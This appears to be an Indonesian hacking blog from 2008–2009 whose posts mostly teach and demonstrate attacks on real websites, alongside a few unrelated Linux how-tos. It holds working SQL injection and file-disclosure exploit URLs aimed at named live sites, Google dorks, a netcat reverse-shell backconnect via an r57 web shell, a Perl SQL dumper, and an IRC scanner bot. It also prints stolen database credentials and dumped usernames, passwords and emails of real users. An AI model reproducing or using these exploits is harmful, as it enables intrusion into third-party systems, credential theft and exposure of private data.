[SSDp] ID (10) computerman:67b3dba8bc6778101892eb77249db32e

[SSDp] Finish.

[Source] @ http://luvnova.info/xpl/ssdp-2.2.txt

VopCrew Multi Scanner 5.1 Release

2009-08-14T07:15:00.009+07:00

VopCrew Multi Scanner versi 5.1 ini sekaligus sebagai perbaikan dari versi 5.0 yang mana untuk RFI Scanner tidak ada result. Ternyata cuman kekurangan 1 char pada variabel penentu nya -_- xial dah ...

Silahkan download di :
http://luvnova.info/perl/vopscan5.1.zip

Tips Mendapatkan Login SSH/FTP/Cpanel

2009-07-27T19:03:00.005+07:00

Ada banyak tools yang sering digunakan untuk mendapatkan login ssh, ftp, atau cpanel.
Salah satunya "ConfigSpy", namun untuk menggunakan tool ini anda sudah harus berada dalam system/host target.

Mari coba cara lain.

Dalam hal ini, saya akan memanfaatkan salah satu Bug LFD (Local File Disclosure) yang di publish oleh teman kita NoGay (NoGe is Gay).

http://[site]/[path]/e107_plugins/my_gallery/image.php?file=[LFI]

Nah itu Bug nya ...

Sebelum menggunakan nya kenali dulu aplikasi web yang digunakan.
Maksud saya di sini adalah kita mencari tau dahulu path atau lokasi dimana file config yang mengatur koneksi ke database. Mengapa?? Seperti yang dilakukan oleh "ConfigSpy", yaitu mengambil login database untuk mencoba login ke ftp.

Seperti yang kalian tau bahwa sering terjadi kecerobohan dalam memberi login database, dimana login tersebut sama dengan login ke ftp maupun ssh. (cukup deh)

Nah ...
Pada ada aplikasi cms di atas yaitu e107, path config nya terdapat pada path utama aplikasi dengan nama e107_config.php ...

URL dari exploit nya menjadi seperti ini (DEMO):

http://ron-jeremy.co.uk/e107_plugins/my_gallery/image.php?file=../../e107_config.php

../../ <------- mundur folder sebanyak 2x dari lokasi awal. Content yang kita dapatkan adalah: ........ cut ...................... $mySQLuser = 'brettcater'; $mySQLpassword = 'studio43'; ........ cut ...................... Kalo sudah dapat seperti itu silahkan di coba login ke ftp/ssh :) Kalo gagal berarti login nya tidak sama. Coba terus, tetap semangat -_- Khusus untuk bug cms ini telah saya buat exploit untuk mempermudah dan menghemat tenaga. Silahkan download di sini.

Cara penggunaannya:

C:\Perl>perl e107.txt ron-jeremy.co.uk

e107 Plugin my_gallery LFD Exploit
Found by NoGe - Coded by Vrs-hCk

[~] Exploiting http://ron-jeremy.co.uk/ ...
[~] DB Username: brettcater
[~] DB Password: studio43

Tips ini berlaku untuk aplikasi yg memiliki Bug LFI/LFD.
Silahkan edit exploit nya sesuai dengan kebutuhan :)

Akhir kata ... Sekian.

Request by Bram - BackConnect dgn NetCat

2009-07-27T18:35:00.003+07:00

Persiapan:

1. NetCat (Windows/Linux)
2. r57 phpshell atau Script backconnect

Mulai:

1. Jalankan NetCat dengan mengetikan pada command line: ./nc -l -p 9876

-l : jalankan netcat dengan mode listening
-p : port yang akan dibuka

2. Isi "IP" pada backconnect r57 phpshell dengan IP Address dimana anda menjalankan NetCat tadi, isi "Port" dengan Port yang ada buka. Klik Connect!

3. Apabila sukses, maka pada command line dimana anda menjalankan NetCat akan terhubung dengan host dimana anda menjalankan script backconnect.

c0li@okedeh:~$ ./nc -l -p 9876
Linux 168603-1.168603.com 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686 i686 i386 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache),2522(psaserv)

Sekian. Thx ...

Simple SQLi Dumper v2.0

2009-07-05T16:13:00.004+07:00

Langsung ajah ...

c0li@anzjel:~/xpl$ wget http://luvnova.info/xpl/sqldump2.txt
--09:05:09-- http://luvnova.info/xpl/sqldump2.txt
=> `sqldump2.txt'
Resolving luvnova.info... 66.40.52.72
Connecting to luvnova.info|66.40.52.72|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,237 (2.2K) [text/plain]

100%[=========================================>] 2,237 --.--K/s

09:05:09 (1.07 MB/s) - `sqldump2.txt' saved [2237/2237]

c0li@anzjel:~/xpl$ perl sqldump2.txt

*************************************
* Simple SQLi Dumper 2.0 *
* By Vrs-hCk *
* c0li.m0de.0n - www.LuvNova.info *
*************************************

[SSDp] Enter SQLi URL (must include c0li string) : http://www.r2racing.nl/nieuws_detail.php?nieuwsID=484+and+1=0+union+select+1,c0li,3,4,5,6,7,8,9
[SSDp] Enter Columns Name (separate by comma char) : UserName,Password,Email
[SSDp] Enter Table Name : users
[SSDp] Enter SQLi End Tag: --

[SSDp] Enter ID to Start : 0
[SSDp] Enter ID to Stop : 651
[SSDp] Enter Filename to Saving Data : r2racing.log

[SSDp] Dumping ...

[SSDp] ID (0) [success]
[SSDp] ID (1) [success]
[SSDp] ID (2) [success]
[SSDp] ID (3) [success]
[SSDp] ID (4) [success]
[SSDp] ID (5) [success]

Tunggu aja sampe selese :))

c0li@anzjel:~/xpl$ cat r2racing.log
Peter:peter:petervdwaal@quicknet.nl
Brian:lostcore:brian@R2racing.nl
Nighthunter:klieka:Vincent@klieka.nl
Remco:gabber:remco@r2racing.nl
Annemarie:golfracer:bestgti@hotmail.com
....
Dan seterus nya ...

Note:

[SSDp] Enter ID to Stop : 651

Gimana cara dapatin nya ???

http://www.r2racing.nl/nieuws_detail.php?nieuwsID=484+and+1=0+union+select+1,count(UserName),3,
4,5,6,7,8,9+from+users--

Mudah kan ^^ ...
Sekian ...

VopCrew Multi (RFI/SQL/LFI) Scanner 5.0 Final Release

2009-04-13T10:07:00.005+07:00

Fungsi nya untuk mencari web yang ter-infeksi 2 bug yaitu RFI dan LFI. Serta menampilkan juga web yang kemungkinan ter-infeksi SQL Injection dengan cara membaca pesan error dari mysql/mssql.
Dalam melakukan tugas nya bot ini dibantu oleh beberapa Search Engine :)

Source dapat di download dari :

http://luvnova.info/perl/vopscan5.1.zip

Cara menjalankannya :
---------------------------

perl vopcrew.txt irc.server.net port botnick ident channel admin fakeproc injector phpshell

Keterangan :

injector = URL dari script Respon nya (script nya sudah satu paket)
phpshell = URL dari c99/r57/phpshell milik kamu

kalau masih bingung, ini contoh nya :

perl vopcrew.txt irc.dal.net 6667 scanner scan MainHack c0li /usr/sbin/httpd http://my.hosting.com/idx http://my.hosting.com/c99

Cara menggunakannya ketik !help di channel apabila bot nya sudah join.

Sekian ...

Apache Conf Scanner v1.0

2009-04-13T09:54:00.004+07:00

Sesuai dengan namanya, fungsi dari bot ini untuk mencari path/lokasi httpd.conf dengan memanfaatkan bug LFI (Local File Inclusion).

Source dapat di download dari :

http://d00r.110mb.com/vopscan/conf-scanner.zip

Cara menjalankannya :
---------------------------

perl source irc.server.net port botnick ident channel admin fakeproc

Cara menggunakannya :
-----------------------------

Ketik !help di channel apabila bot sudah join :)

Sekian ...

LFI 2 RCE Article Download

2009-03-22T09:51:00.001+07:00

http://d00r.110mb.com/LFI%202%20RCE.txt

Request by NoGe

2009-01-16T23:02:00.004+07:00

Download aja deh dari sini :D

Javascript ASCII Converter
http://d00r.110mb.com/scripts/ascii.zip

Base64 Encoder & Decoder
http://d00r.110mb.com/scripts/base64.zip

PHP Compressor
http://d00r.110mb.com/scripts/gz.zip

Nah segitu dulu ... Cya ^^

Tip & Trik MySQL Injection (PHP) Part II

2009-01-14T07:57:00.003+07:00

MySQL Version: 5.x.x
Trick Title: Mencari Table & Column yang diinginkan

Sample:
http://www.happypawshaven.org/SALC/index.php?_a=viewProd&productId=20

Cek dulu versi MySQL nya ...

http://www.happypawshaven.org/SALC/index.php?_a=viewProd&productId=20 union select version()--

Hasil:
5.0.67-log

Contoh kita mau cari kolom yang mengandung login :D
Bentuk string untuk di cari tentu saja bisa macam².

%pass%
%user%
%login%
%admin%

nah string tersebut yg musti di convert ke dalam hex.
Contoh:

%pass% = 0x257061737325

Dengan demikian Query nya menjadi seperti berikut ini:

http://www.happypawshaven.org/SALC/index.php?_a=viewProd&productId=20 union select group_concat(table_name,0x3a,column_name) from information_schema.columns where table_schema=database() and column_name like (0x257061737325)--

Hasil nya bisa dilihat sendiri:

'CubeCart_admin_users:password,CubeCart_customer:password'

Yang artinya ada kolom dengan nama "password" di tabel "CubeCart_admin_users" dan juga
di tabel "CubeCart_customer".

%user% = 0x257573657225

http://www.happypawshaven.org/SALC/index.php?_a=viewProd&productId=20 union select group_concat(table_name,0x3a,column_name) from information_schema.columns where table_schema=database() and column_name like (0x257573657225)--

Hasil:

'CubeCart_SpamBot:userIp,CubeCart_admin_log:user,CubeCart_admin_sessions:username,
CubeCart_admin_users:username,CubeCart_blocker:username'

Nah sekian dulu. Cya ^^

ASP MSSQL Injection Video

2008-12-27T04:09:00.001+07:00

omG ...

Download Here

Selamat Hari Raya Natal

2008-12-25T16:17:00.000+07:00

Saya Vrs-hCk, dan segenap artis ibu kota mengucapkan selamat merayakan Hari Raya Natal. Tuhan Memberkati kita semua :)

Maintenance

2008-12-12T16:40:00.000+07:00

Huehuehuheuheuue ...

MalingSial Hot Video

2008-12-12T02:58:00.001+07:00

omG ...

Download Here

Install XMMS di Ubuntu 8.04

2008-12-09T17:13:00.003+07:00

1. sudo apt-get install autotools-dev automake1.9 libtool gettext libasound2-dev libaudiofile-dev \
libgl1-mesa-dev libglib1.2-dev libgtk1.2-dev libesd0-dev libice-dev libmikmod2-dev libogg-dev \
libsm-dev libvorbis-dev libxxf86vm-dev libxml-dev libssl-dev build-essential make

2. Buat file pada directory HOME
mkdir ~/build;cd ~/build

3. Download file xmms
wget http://xmms.org/files/1.2.x/xmms-1.2.11.tar.gz

4. Extract file
tar -zxvf xmms-1.2.11.tar.gz

5. pidah directory ke xmms-1.2.11
cd xmms-1.2.11

6. ./configure --prefix=/usr
make
sudo make install

setelah selesai semua proses installasi xmms untuk menjalaknnya tekan alt + F2 dan tulisakn xmms

*** By OoN_Boy
*** Diselundupkan dari http://oonboy.blogspot.com/

Blind SQL Injection Part II

2008-12-06T09:09:00.000+07:00

Kalo sebelumnya kita mencari versi dari MySQL,
skrg kita mencoba untuk mencari nama user database nya.

ASCII Tables :
==============
a..z = 97..122
A..Z = 65..90
0..9 = 48..57
@ = 64
==============

Ok.. yuk maree :))

Query : and substring(user(),x,y)=char(n)

nah jadi nya begini ...

http://localhost/myforum/lecture.php?id=1 and substring(user(),1,1)=char(97)

Sebagai langkah awal kita gunakan char(97)
yang mana value tersebut bernilai "a".
Apabila bernilai false kita naikan lagi sampai
dapat nilai true nya. Paham kan :)

http://localhost/myforum/lecture.php?id=1 and substring(user(),1,1)=char(114)

Sampai di situ saya mendapat nilai true.
Yang mana char(114) = "r".
Okedeh skrg kita coba char ke 2 dari user().

http://localhost/myforum/lecture.php?id=1 and substring(user(),1,2)=char(114,97)

Sama hal nya dengan mencari char pertama,
kita naikan char ke 2 sampai bernilai true.

http://localhost/myforum/lecture.php?id=1 and substring(user(),1,2)=char(114,111)

dapat dah nilai true nya yaitu char(111) = "o".
jadi udah dapat char(114,111) = "ro"
Skrg nyari char ke 3 dst ...

http://localhost/myforum/lecture.php?id=1 and substring(user(),1,5)=char(114,111,111,116,64)

setelah char ke 5 saya dapatkan ternyata adalah "@",
maka bisa dipastikan bahwa value dari user() adalah "root".

Mencari nama database sama caranya dengan mencari nama user().
Agar lebih mudah gunakan saja Ascii Tables.
Ok. Sampai di sini dulu :) Bye² ... mwa mwa ...

Blind SQL Injection Part I

2008-12-06T04:56:00.000+07:00

nah nah ...

Blind SQL Injection merupakan ... cari di google gih -_-

Kenapa disebut Blind ??
Karena jenis serangan ini hanya utk membandingkan nilai dari ke dua value.
Yang tentu saja nilai true & false.
Dan yang tentu saja itu menurut saya :D

Contoh :
and 1=1 <----- bernilai true
and 1=0 <----- bernilai false

Start ... !!!

Biar bs langsung dipraktekan saya sarankan utk download aplikasi di bawah ini:
MyForum 1.3 - http://www.easy-script.com/scripts-dl/myforumv1.3.zip
Install dan mari kita coba ...

lanjut ...

http://localhost/myforum/lecture.php?id=1 and 1=1

nah liad aja tu web na normal² ajah, bandingkan dgn yg ini ...

http://localhost/myforum/lecture.php?id=1 and 1=0

beda kan ?? nah kalo beda ada kemungkinan bs di injek ... coba deh ... yuk maree ... pertama-tama kita cek dulu versi berapa MySQL nya ...

http://localhost/myforum/lecture.php?id=1 and substring(version(),1,1)=4
http://localhost/myforum/lecture.php?id=1 and substring(version(),1,1)=5

Yang hasil nya "true" berarti itulah versi MySQL nya ... Penjelasan na gini ...

substring(teks,x,y)

substring digunakan untuk mengambil string dari teks mulai dari x sampai y.
nah ... penerapan dalam MySQL bisa dilihat di bawah ini:

mysql> select version();
+---------------------------------+
| version() |
+---------------------------------+
| 5.2.3-falcon-alpha-community-nt |
+---------------------------------+
1 row in set (0.00 sec)

mysql> select substring(version(),1,1);
+--------------------------+
| substring(version(),1,1) |
+--------------------------+
| 5 |
+--------------------------+
1 row in set (0.00 sec)

mysql> select substring(version(),1,10);
+---------------------------+
| substring(version(),1,10) |
+---------------------------+
| 5.2.3-falc |
+---------------------------+
1 row in set (0.00 sec)

nah lo ... pasti udah pada ngerti nie :D
lanjut lagi ... :)

and substring(version(),1,1)=4

membandingkan value dari substring(version(),1,1) dan 4
apabila hasil nya sama maka akan bernilai "true" :)
kalo gak sama yaks "false" wekekekkeke ...

Nah sekian dulu ^^ sampe jumpa ... mwa mwa ... muachhhhhhh !!! :D

Koneksi GPRS Via Bluetooth di Linux

2008-12-06T04:43:00.000+07:00

Koneksi GPRS via Bluetooth di Linux
========================

Dalam praktek saya menggunakan:

- USB Bluetooth
- Handphone NOKIA N-Gage QD
- Kartu IM3
- Distro SuSE Linux 10.1 (i586)
- Software bluez (http://bluez.sourceforge.net)

bluez dapat di Download dari http://bluez.sf.net
* bluez-libs-2.24-10 - Bluetooth Libraries
* bluez-utils-2.24-17 - Bluetooth Daemons and Utilities

Setelah melakukan peng-install-an, lakukan pengecekan.
Caranya:

----------------- CONSOLE ------------------
root@anderson:~ # dmesg | grep Blue
Bluetooth: Core ver 2.8
Bluetooth: HCI device and connection manager initialized
Bluetooth: HCI socket layer initialized
Bluetooth: HCI USB driver ver 2.9
Bluetooth: L2CAP ver 2.8
Bluetooth: L2CAP socket layer initialized
Bluetooth: HIDP (Human Interface Emulation) ver 1.1
Bluetooth: RFCOMM socket layer initialized
Bluetooth: RFCOMM TTY layer initialized
Bluetooth: RFCOMM ver 1.7
-------------------- END ---------------------

STARTING !!!
=========

Berubahlah menjadi root sebelum memulai :P

1. Deteksi USB Bluetooth

----------------- CONSOLE ------------------
root@anderson:~ # lsusb
... cut ...
Bus 005 Device 002: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)
... cut ...
-------------------- END ---------------------

2. Pairing antara Handphone dan Komputer

Pertama-tama lakukan pairing antara Handphone yang akan anda gunakan sebagai modem,
dengan komputer. Setelah itu masukan PIN yang sama pada Handphone dan komputer.

3. Melihat Alamat Bluetooth Handphone

Bagi yang menggunakan handphone (NOKIA) bisa dilakukan dengan mengetikan kode *#2820#
Selain itu bisa juga dilihat melalui salah satu aplikasi Linux yaitu HCI Tool.
Caranya:

----------------- CONSOLE ------------------
root@anderson:~ # hcitool scan
Scanning ...
00:0E:6D:79:CA:FB N-Gage QD
-------------------- END ---------------------

4. Melihat Channel Service Dial-up Networking

Caranya dengan menggunakan aplikasi SDP tool.

----------------- CONSOLE ------------------
root@anderson:~ # sdptool search DUN
Inquiring ...
Searching for DUN on 00:0E:6D:79:CA:FB ...
Service Name: Dial-up Networking
Service RecHandle: 0x10023
Service Class ID List:
"Dialup Networking" (0x1103)
"Generic Networking" (0x1201)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Dialup Networking" (0x1103)
Version: 0x0100
-------------------- END ---------------------

5. Mencoba Koneksi ke Handphone

Bisa dilakukan dengan mem-ping alamat bluetooth handphone.
Caranya:

----------------- CONSOLE ------------------
root@anderson:~ # l2ping 00:0E:6D:79:CA:FB
Ping: 00:0E:6D:79:CA:FB from 00:10:60:D1:01:5A (data size 44) ...
0 bytes from 00:0E:6D:79:CA:FB id 0 time 46.54ms
0 bytes from 00:0E:6D:79:CA:FB id 1 time 14.88ms
0 bytes from 00:0E:6D:79:CA:FB id 2 time 16.18ms
0 bytes from 00:0E:6D:79:CA:FB id 3 time 14.18ms
0 bytes from 00:0E:6D:79:CA:FB id 4 time 15.27ms
5 sent, 5 received, 0% loss
-------------------- END ---------------------

Tekan CTRL-C untuk menghentikan proses ping.

6. Konfigurasi rfcomm

# rfcomm bind 0

----------------- CONSOLE ------------------
root@anderson:~ # rfcomm bind 0 00:0E:6D:79:CA:FB 1
root@anderson:~ # rfcomm show
rfcomm0: 00:0E:6D:79:CA:FB channel 1 clean
-------------------- END ---------------------

Salah ketik dan terlanjur enter ??
Release aza. Caranya:

----------------- CONSOLE ------------------
root@anderson:~ # rfcomm release 0
-------------------- END ---------------------

7. Konfigurasi File GPRS

Buat file dengan nama "gprs" (nama file boleh beda) dan simpan di "/etc/ppp/peers/"

----------------- ISI FILE ------------------
nodetach
debug
show-password
connect "/usr/bin/wvdial --chat --config /etc/ppp/peers/gprs-wvdial.conf gprs"
disconnect /etc/ppp/peers/gprs-disconnect-chat
/dev/rfcomm0
115200
crtscts
local
:10.0.0.1
noipdefault
ipcp-accept-local
usepeerdns
novj
nobsdcomp
novjccomp
nopcomp
noaccomp
noauth
defaultroute
user ""
-------------------- END ---------------------

Isi dari baris "user" disesuaikan.

8. Konfigurasi File GPRS WvDial

Buat file dengan nama "gprs-wvdial.conf" (nama file boleh beda) dan simpan di "/etc/ppp/peers/"

------------------ ISI FILE -------------------
[Dialer gprs]
Init1 = ATH
Init2 = ATE1
Init3 = AT+CGDCONT=1,"IP","www.indosat-m3.net","",0,0
Dial Command = ATD
Phone = *99#
Username ="gprs"
Password ="im3"
-------------------- END ---------------------

Isi dari baris "Phone" bisa juga diisi dengan *99***1#
Silahkan sesuaikan baris-baris yang lain dengan setingan gprs dari provider yang anda gunakan.

9. Konfigurasi File GPRS Disconnect Chat

Buat file dengan nama "gprs-disconnect-chat" (nama file boleh beda) dan simpan di "/etc/ppp/peers/"

------------------ ISI FILE -------------------
#!/bin/sh
exec /usr/sbin/chat -V -s -S
ABORT "BUSY"
ABORT "ERROR"
ABORT "NO DIALTONE"
SAY "nSending break to the modemn"
"" "K"
"" "+++ATH"
SAY "nPDP context detachedn"
-------------------- END ---------------------

Jangan lupa:

----------------- CONSOLE ------------------
root@anderson:~ # chmod +x /etc/ppp/peers/gprs-disconnect-chat
-------------------- END ---------------------

10. Check Konfigurasi

* /etc/ppp/peers/gprs
* /etc/ppp/peers/gprs-wvdial.conf
* /etc/ppp/peers/gprs-disconnect-chat

Sudah semua ???

Oh ya ... nama file memang boleh dibuat beda dari contoh yang ada,
dengan syarat musti saling berhubungan ba*an :P

11. Connect to Internet

----------------- CONSOLE ------------------
anderson:/etc/ppp/peers # pppd call gprs
--> WvDial: Internet dialer version 1.54.0
--> Initializing modem.
--> Sending: ATH
NO CARRIER
ATH
OK
--> Sending: ATE1
ATE1
OK
--> Sending: AT+CGDCONT=1,"IP","www.indosat-m3.net","",0,0
AT+CGDCONT=1,"IP","www.indosat-m3.net","",0,0
OK
--> Modem initialized.
--> Sending: ATD*99#
--> Waiting for carrier.
ATD*99#
CONNECT
~[7f]}#@!}!} } }2}#}$@#}!}$}%\}"}&} }*} } g}%~
--> Carrier detected. Waiting for prompt.
~[7f]}#@!}!} } }2}#}$@#}!}$}%\}"}&} }*} } g}%~
--> PPP negotiation detected.
Serial connection established.
using channel 10
Using interface ppp0
Connect: ppp0 <--> /dev/rfcomm0
sent [LCP ConfReq id=0x1 ]
rcvd [LCP ConfRej id=0x1 ]
sent [LCP ConfReq id=0x2 ]
rcvd [LCP ConfAck id=0x2 ]
rcvd [LCP ConfReq id=0x0 ]
No auth is possible
sent [LCP ConfRej id=0x0 ]
rcvd [LCP ConfReq id=0x1 ]
sent [LCP ConfAck id=0x1 ]
sent [LCP EchoReq id=0x0 magic=0x0]
sent [CCP ConfReq id=0x1 ]
sent [IPCP ConfReq id=0x1

]
rcvd [IPCP ConfReq id=0x0 ]
sent [IPCP ConfNak id=0x0 ]
rcvd [LCP EchoRep id=0x0 magic=0x0]
rcvd [LCP ProtRej id=0x0 80 fd 01 01 00 0c 1a 04 78 00 18 04 78 00]
rcvd [IPCP ConfNak id=0x1

]
sent [IPCP ConfReq id=0x2

]
rcvd [IPCP ConfReq id=0x1 ]
sent [IPCP ConfAck id=0x1 ]
rcvd [IPCP ConfAck id=0x2

]
local IP address 10.37.12.123
remote IP address 10.0.0.1
primary DNS address 124.195.15.100
secondary DNS address 124.195.15.98
Script /etc/ppp/ip-up started (pid 6220)
Script /etc/ppp/ip-up finished (pid 6220), status = 0x0
-------------------- END ---------------------

Udah Connect ....
Tekan CTRL-C untuk Disconnect in anytime in anyplace .. weksss ....

Seterusnya kamu hanya perlu melakukan langkah di bawah ini ...

----------------- CONSOLE ------------------
root@anderson:~ # hcitool scan
root@anderson:~ # rfcomm bind 0 00:0E:6D:79:CA:FB 1
root@anderson:~ # pppd call gprs
-------------------- END ---------------------

FINISH !!!
=======

Copy Teks dari Dokumen PDF

2008-12-05T21:37:00.000+07:00

Ada beberapa file dokumen pdf yang saya download, trus mau saya copy beberapa teks yang ada ... eh menu copy dr klik kanan ama ctrl+c na ndak maw -_-
Kebetulan saya ndak punya software buat convert dari .pdf ke .doc
ya dah saya coba print ulang pake software PDF Printer Driver (yg saya pake doPDF - www.dopdf.com) begitu jadi duplikat pdf na, saya coba lagi klik kanan trus copy... eh bisa xixixixi ...
dasar newbie -_- tapi mayan ilmu na kan ?? dikid² jadi bukit loh wekekkek....

Tip & Trik MySQL Injection (PHP)

2008-11-21T11:30:00.000+07:00

MySQL Version: 5.x.x
Trick Title: Olah Tabel & Kolom

Munculkan Semua Tabel: union select group_concat(table_name) from information_schema.tables where table_schema=database()--

Munculkan Semua Kolom: union select group_concat(column_name) from information_schema.columns where table_schema=database()--

atau

Bisa juga: union select group_concat(column_name) from information_schema.columns where table_name='nama_tabel'--

Catatan:
Kalo tabel/kolom nya kebanyakan, kemungkinan besar gag akan muncul semua nya (kepotong) o.O

====================================

MySQL Version: 4.x.x - 5.x.x
Trick Title: Olah Data (concat)

Munculkan semua data : group_concat(nama_kolom)

Munculkan pake separator: concat_ws(separator,nama_kolom1,nama_kolom2)
Contoh: concat_ws(0x3a,username,password,email)

Keterangan:

separator = char/hex

====================================

Sekian dulu xixixixi ...

Flosites Blog SQL Vuln

2008-11-21T11:23:00.000+07:00

[-] Title : Multiple Remote SQL Injection Vulnerabilities
[-] Software : Flosites Blog
[-] Vendor : www.flosites.com
[-] Date : 17 November 2008 (Indonesia)

[+] Google Dork

"blog by flosites"

[+] Exploit

http://[site]/[path]/index.php?cat=-1 [SQL]/*
http://[site]/[path]/index.php?category=-1 [SQL]/*

[+] Proof of Concept

http://www.designaglow.com/blog/index.php?cat=-1+union+select+1,version(),3/*
http://www.designaglow.com/blog/index.php?category=-1+union+select+1,version(),3/*

MyForum 1.3 Multiple Vuln

2008-11-05T18:33:00.000+07:00

Software : MyForum 1.3
Download : http://www.easy-script.com/scripts-dl/myforumv1.3.zip
Date : 27 Oktober 2008

SQL Injection Exploit:
http://www.milw0rm.com/exploits/6844

LFI Vuln:
http://www.milw0rm.com/exploits/6846

RWCards 3.0.11 LFI Vuln

2008-11-05T18:31:00.000+07:00

Software : RWCards 3.0.11 Component for Joomla 1.5 CMS
Vendor : http://www.weberr.de/
Date : 23 Oktober 2008

[»] Google Dork

inurl:com_rwcards

[»] Vulnerable

./components/com_rwcards/captcha/captcha_image.php

15: if (!empty( $_GET['img'] ) )
16: $img = $_GET['img'];
17: else
18: {
19: echo 'no image file specified via &img=...';
20: exit;
21: }
22:
23: if (!$fh = fopen( $tmp_dir_path.'cap_'.$img.'.jpg', 'rb'))
24: {
25: echo 'could not open image file!';
26: }
27: else
28: {
29: fpassthru( $fh );
30: fclose( $fh );
31: }

[»] Exploit

http://[site]/[path]/components/com_rwcards/captcha/captcha_image.php?img=[LFI]

[»] Proof of Concept

http://www.abcdobebe.com/components/com_rwcards/captcha/captcha_image.php?img=[LFI]
http://www.whiskynet.co.uk/components/com_rwcards/captcha/captcha_image.php?img=[LFI]

ionFiles 4.4.2 FD Vuln

2008-11-05T18:27:00.001+07:00

File Disclosure Vulnerability
Software : ionFiles 4.4.2 Component for Joomla! CMS
Vendor : http://forum.codecall.net/
Date : 23 Oktober 2008

[»] Google Dork

inurl:com_ionfiles

[»] Vulnerable

./download.php

Line 32: $file = $_GET['file'];
Line 33: $download = $_GET['download'];
Line 66 - 91

[»] Exploit

http://[site]/[path]/com_ionfiles/download.php?file=[path_file]&download=1

[»] Proof of Concept

http://esecutech.com/components/com_ionfiles/download.php?file=../../configuration.php&download=1
http://esecutech.com/components/com_ionfiles/download.php?file=../../../../../../../../etc/passwd&download=1

yappa-ng 2.3.2 LFI Vuln (old)

2008-11-05T18:16:00.000+07:00

Software : yappa-ng Version 2.3.2
Vendor : http://www.zirkon.at/
Date : 19 Oktober 2008

[»] Google Dork

"Powered by yappa-ng 2.3.2"

[»] Exploit

http://[site]/[yappa-ng-path]/index.php?album=[LFI]

[»] Proof of Concept

http://www.zirkon.at/yappa-ng_demo/index.php?album=[LFI]

ASP MsSQL Injection

2008-11-05T15:29:00.001+07:00

Langsung aja !!!

Contoh Web Yang Vuln :

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12

CEK VULN / GAK !!!
==================

Cek Bisa di Inject apa gak dgn cara tambah kan tanda ' di akhir URL

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12'

Jika Error nya seperti ini :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND t.TopicID = m.topicID '.
/main/ListPosts.asp, line 56

Microsoft OLE DB Provider (SQL Server Driver) <---- Inti nya ada di sini !!!
Selain SQL Server Driver (Provider) ndak tau deh gua :D

maka Lanjut ...

CARI STRUKTUR TABEL !!!
=======================

1) Debugging

Debugging di sini untuk memunculkan pesan error dr MsSQL.

SQL Inject nya adalah "and 1="

2) Munculkan nama tabel

Query nya : and 1=convert(int,(select top 1 table_name from information_schema.tables))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 table_name from information_schema.tables))--

Error yang muncul adalah :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Merchants' to a column of data type int.
/main/ListPosts.asp, line 56

bisa dilihat di situ kita dapat tabel dengan nama "Merchants".

berbeda dgn MySQL, MsSQL dalam output nya membedakan tipe data, sehingga kita perlu mengkonversi nya agar SQL dapat memunculkan pesan error yang kita inginkan.

skrg kita cari tabel selanjut nya.

Query : and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Merchants')))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Merchants')))--

Error yang muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'category' to a column of data type int.
/main/ListPosts.asp, line 56

Bisa di lihat Query nya berbeda dgn MySQL. MySQL ndak support "not in" sedangkan MsSQL support "not in" ^^

nah dapat tabel dgn nama "category" .... kita coba cari lagi tabel selanjut nya.

Query : and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Merchants','category')))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Merchants','category')))--

Error yng muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Codes' to a column of data type int.
/main/ListPosts.asp, line 56

dapat tabel dgn nama "Codes". Silahkan cari lagi nama tabel yang di inginkan.

CARI STRUKTUR COLUMN !!!
========================

Contoh kita mau cari column yg ada di tabel "Merchants".

Query : and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants'))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants'))--

Error yg muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'merchantId' to a column of data type int.
/main/ListPosts.asp, line 56

dapat deh column dgn nama "merchantId" ... yok cari lagi column laen :D

QUery : and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants' and column_name not in ('merchantid')))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants' and column_name not in ('merchantid')))--

Error yg muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'address' to a column of data type int.
/main/ListPosts.asp, line 56

dapat deh column "address". cari lage column ne ...

Query : and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants' and column_name not in ('merchantid','address')))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants' and column_name not in ('merchantid','address')))--

